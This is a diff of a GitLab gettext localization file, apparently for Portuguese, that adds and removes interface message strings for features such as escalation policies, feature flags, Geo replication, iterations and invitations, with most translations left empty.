msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr "Filtrar por nome de objetivo"
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,15 +15793,15 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
+msgstr ""
+
msgid "Groups"
msgstr ""
msgid "Groups (%{count})"
msgstr "Grupos (%{count})"
-msgid "Groups (%{groups})"
-msgstr ""
-
msgid "Groups and projects"
msgstr ""
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
-msgstr ""
-
-msgid "InviteEmail|What can I do with the %{role} permission level?"
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "O objetivo %{milestoneTitle} não foi encontrado"
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr "Novo objetivo"
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
